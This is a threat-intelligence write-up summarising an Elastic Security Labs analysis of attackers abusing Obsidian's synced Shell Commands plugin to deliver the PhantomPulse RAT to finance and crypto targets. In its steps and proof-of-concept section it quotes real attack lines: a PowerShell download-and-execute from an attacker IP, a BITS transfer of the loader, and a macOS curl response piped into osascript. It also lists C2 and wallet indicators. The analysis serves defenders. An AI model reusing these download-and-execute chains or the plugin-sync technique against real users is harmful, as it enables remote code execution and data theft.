# Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT

Attackers lured finance/crypto targets into opening an attacker-controlled Obsidian vault whose synced Shell Commands plugin silently executed PowerShell/AppleScript, delivering the PhantomPulse RAT.

- Payout: Real-world hack
- Severity: high
- Program: Obsidian
- Analysis by: Salim Bitam, Samir Bousseaden, Daniel Stepanic
- Disclosed: 2026-04-14
- Write-up quality: 8/10
- Original: https://www.elastic.co/security-labs/threat-command/phantom-in-the-vault
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-phantom-in-the-vault
- Tags: area:os domain:desktop impact:ato impact:rce kind:incident platform:threat-intel sev:high tech:electron tech:windows technique:chained technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** Obsidian desktop app community plugin sync (Shell Commands/Hider) on Windows and macOS
**Root cause:** Obsidian's Sync propagates community plugin configuration (data.json) once the victim enables the local 'Installed community plugins' toggle; the Shell Commands plugin then executes attacker-defined shell commands on configured triggers such as vault open.
**Steps:**
1. Attacker stages a cloud vault containing `.obsidian/plugins/obsidian-shellcommands/data.json` with a command that runs on startup, plus Hider plugin config to hide UI elements.
2. Victim is socially engineered on LinkedIn/Telegram into logging into the attacker's Obsidian account and connecting to the shared vault.
3. Victim enables community plugin sync; the Shell Commands plugin and its data.json sync down automatically.
4. On the next trigger (vault open), Obsidian spawns PowerShell: `iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing` then `powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"`.
5. script1.ps1 uses `Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' -Destination "$env:TEMP\syncobs.exe"` and posts status to `/stuk-phase`.
6. syncobs.exe (PHANTOMPULL) decrypts an embedded AES-256-CBC PE from RCDATA 101, reflectively loads it via a timer-queue callback, which downloads PHANTOMPULSE from `panel.fefea22134[.]net` over `/v1/updates/check?build=payloads` and reflectively loads it via DllRegisterServer.
7. macOS path: Shell Commands runs base64 AppleScript via osascript, creating LaunchAgent `com.vfrfeufhtjpwgray.plist` that pipes a downloaded AppleScript into osascript.
**How found:** Elastic Defend alerted on suspicious PowerShell with Obsidian as parent; analysts verified the parent was the legitimate signed Obsidian binary, ruled out DLL sideloading/asar tampering, then installed Obsidian themselves and explored remote-vault sync, discovering the Shell Commands plugin data.json in the vault's .obsidian folder matching the observed PowerShell.
**Exploitation:** Social engineering on LinkedIn/Telegram under a fake VC firm; victim given credentials to attacker-controlled Obsidian vault and told to enable community plugin sync. Synced Shell Commands plugin executes PowerShell (Windows) or osascript (macOS) on vault open, downloading PHANTOMPULL loader which reflectively loads PHANTOMPULSE RAT with blockchain-resolved C2 (Ethereum/Base/Optimism Blockscout txlist of wallet 0xc117688c530b660e15085bF3A2B664117d8672aA, XOR-decrypted with wallet address) and Telegram dead-drop fallback on macOS. RAT provides inject/drop/screenshot/keylog/elevate commands.
**Escalation:** Loader chains PowerShell stager -> BitsTransfer download -> in-memory AES/XOR-decrypted reflective PE loading -> full RAT with UAC elevation via COM moniker and process injection (module stomping).
**Insight:** Electron apps with cloud-synced config directories (e.g. Obsidian's .obsidian/plugins) can carry attacker-controlled plugin configs that execute on open; when triaging a suspicious child process from a trusted app, check its synced config/plugin folders rather than assuming binary tampering.

## Proof of concept (copied exactly from the original report)

**Shell Commands plugin data.json with malicious command**

```
C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json

The Shell Commands plugin allows users to execute platform-specific shell commands based on configurable triggers such as Obsidian startup, close, every N seconds, and others.

The contents of data.json confirmed our theory: the configured commands matched exactly what we had observed in the original PowerShell behavior alert.
```

**Stage 1 PowerShell download and execute**

```
iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"

This will download a second-stage PowerShell script from a hardcoded IP address and execute it.
```

**macOS curl payload piped to osascript**

```
curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
 -H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript

The victim identifier (txid) and module selector (bmodule) are sent as POST parameters.
```

